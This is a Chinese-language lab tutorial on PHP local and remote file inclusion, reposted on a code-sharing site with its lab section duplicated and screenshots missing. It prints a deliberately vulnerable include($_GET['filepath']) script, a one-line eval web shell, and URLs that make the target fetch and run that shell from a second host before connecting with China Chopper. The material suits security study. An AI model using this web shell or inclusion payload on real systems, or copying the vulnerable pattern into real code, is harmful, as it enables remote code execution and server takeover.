文件包含漏洞原理及利用


一、文件包含漏洞的原理

  服務器解析執行php文件時能夠通過包含函數加載另外一個文件中的php代碼,當被包含的文件中存在木馬時,也就意味着木馬程序會在服務器上加載執行。下面介紹php的四種文件包含函數。

require()     只要程序一運行就包含文件,找不到被包含的文件時會產生致命錯誤,並停止腳本
include()
    執行到include時才包含文件,找不到被包含文件時只會產生警告,腳本將繼續執行
include_once()
  若文件中代碼已被包含則不會再次包含
require_once()
  若文件中代碼已被包含則不會再次包含

 

 

 

  現在給出一段代碼,如果這段代碼出現在服務器上的某個php文件中(這個php文件能被訪問),很有可能會產生文件包含漏洞。

<?php
    $filename = $_GET['filepath'];
    include($filename);
?>

  文件包含漏洞包括本地文件包含漏洞和遠程文件包含漏洞,顧名思義,本地文件包含漏洞指的是包含本地的php文件,遠程文件包含漏洞包含的是其它服務器上的php文件。廢話不多說,讓我們來實驗一下文件包含漏洞。

 

二、文件包含漏洞的利用

(1)實驗環境

a)一台windows虛擬機(192.168.227.139)上安裝有phpstudy,並對參數進行如下設置:

 

 

 

b)准備漏洞php程序fileinclude.php

1:fileinclude-- </br>

<?php

$filename = $_GET['filepath'];

include($filename);

?>

 

准備一句話木馬程序muam.txtmuma.php

 2:muma--txt

<?php @eval($_POST['tp']); ?>

 

c)准備一台安裝有IIS的服務器(192.168.227.147),並將muam.txtmuma.php木馬放入網站目錄下:

 

 

 

 

php漏洞程序fileinclude.php放到windows虛擬機(192.168.227.139)的站點目錄下 

   

 

 

d)對IIS進行如下設置(非必須):

復現IIS目錄遍歷漏洞

 

 

   

 

 

Apache進行如下設置(非必須)

修改l.php文件名或者將其刪除,復現Apache目錄遍歷漏洞:

 

 

 

 

 

(2)測試IIS服務器和Apache服務器

IIS環境正常:

 

 

 

Apache環境正常:

 

 

 

 

(3)遠程包含漏洞包含一句話木馬——muma.php

在瀏覽器中輸入url

http://192.168.227.139/fileinclude.php?filepath=http://192.168.227.147/muma.php

 

 

 

 

使用中國菜刀連接:

 

 

 

連接成功

 

 

 

 

(4)遠程包含漏洞包含一句話木馬——muma.txt

在瀏覽器中輸入url

http://192.168.227.139/fileinclude.php?filepath=http://192.168.227.147/muma.txt

 

 

 

使用中國菜刀連接:

   

 

 

連接成功:

  

 

 

                                    2020-03-08

這是手工搭建環境復現文件包含漏洞,下一篇介紹web for pentester系統實驗文件包含漏洞測試

(1)實驗環境

a)一台windows虛擬機(192.168.227.139)上安裝有phpstudy,並對參數進行如下設置:

 

b)准備漏洞php程序fileinclude.php

1:fileinclude-- </br>

<?php

$filename = $_GET['filepath'];

include($filename);

?>

 

准備一句話木馬程序muam.txtmuma.php

 2:muma--txt

<?php @eval($_POST['tp']); ?>

 

c)准備一台安裝有IIS的服務器(192.168.227.147),並將muam.txtmuma.php木馬放入網站目錄下:

 

 

php漏洞程序fileinclude.php放到windows虛擬機(192.168.227.139)的站點目錄下:

 

 

d)對IIS進行如下設置(非必須):

復現IIS目錄遍歷漏洞

 

 

 

Apache進行如下設置(非必須)

修改l.php文件名或者將其刪除,復現Apache目錄遍歷漏洞:

 

 

 

(2)測試IIS服務器和Apache服務器

IIS環境正常:

 

Apache環境正常:

 

 

(3)遠程包含漏洞包含一句話木馬——muma.php

在瀏覽器中輸入url

http://192.168.227.139/fileinclude.php?filepath=http://192.168.227.147/muma.php

 

 

使用中國菜刀連接:

 

連接成功

 

 

(4)遠程包含漏洞包含一句話木馬——muma.txt

在瀏覽器中輸入url

http://192.168.227.139/fileinclude.php?filepath=http://192.168.227.147/muma.txt

 

使用中國菜刀連接:

 

連接成功:


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM